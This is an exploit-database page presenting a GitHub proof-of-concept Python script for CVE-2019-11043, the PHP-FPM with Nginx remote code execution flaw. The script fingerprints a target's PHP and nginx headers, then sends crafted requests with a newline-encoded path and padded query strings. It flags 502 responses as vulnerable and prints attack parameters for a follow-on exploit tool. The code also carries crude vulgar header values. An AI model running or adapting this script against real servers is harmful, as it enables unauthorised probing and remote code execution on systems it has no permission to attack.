Exploit database

GH-df3c72ae2a11decdbcb5996538fb038d

alewong/php-fpm-remote-code-execution-vulnerability-cve-2019-11043-

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2019-11043

40 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files10

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2019-11043.py

Suggested starting filePython · 1,594 bytes
"""
auth: @l3x_wong
version: 1.0
function: php-fpm+Nginx RCE(CVE-2019-11043)
usage: python3 script.py ip [port]
note:
"""
#!/usr/bin/python


import requests,json
import time


now = int(round(time.time()*1000))
now_time = time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(now/1000))

def check_version(url):
    headers = {
    'User-Agent': 'Mozilla/5.0',
    'D-Pisos': '8=D',
    'Ebut': 'mamku tvoyu'
    }

    r = requests.get(url, headers=headers)
    response_str = json.dumps(r.headers.__dict__['_store'])
    if r.status_code == 200 and 'PHP' in response_str and 'nginx' in response_str:
        print('Server= ' + r.headers.get('Server'))
        print('X-Powered-By= ' + r.headers.get('X-Powered-By'))
        print('%s Base status code is 200' % now_time)
        check_vuln(url)

    else:
        print(response_str)


def check_vuln(url):
    for i in range(1500,2000):
        url_dir = '/PHP%0Ais_the_shittiest_lang.php?' + 'Q' * i
        vuln_url = url + url_dir
        headers = {
        'User-Agent': 'Mozilla/5.0',
        'D-Pisos': '8=D',
        'Ebut': 'mamku tvoyu'
        }
        r = requests.get(vuln_url, headers=headers)
        if r.status_code == 502:
            # print vuln_url
            print('%s Status code 502 for qsl=%s, adding as a candidate' % (now_time,str(i)))
            print('%s The target is probably vulnerable. Possible QSLs: [ %s ] ' % (now_time, str(i)))
            print('%s Attack params found: --qsl %s --pisos 165 --skip-detect' % (now_time, str(i)))

if __name__ == '__main__':
    url = 'http://'
    check_version(url)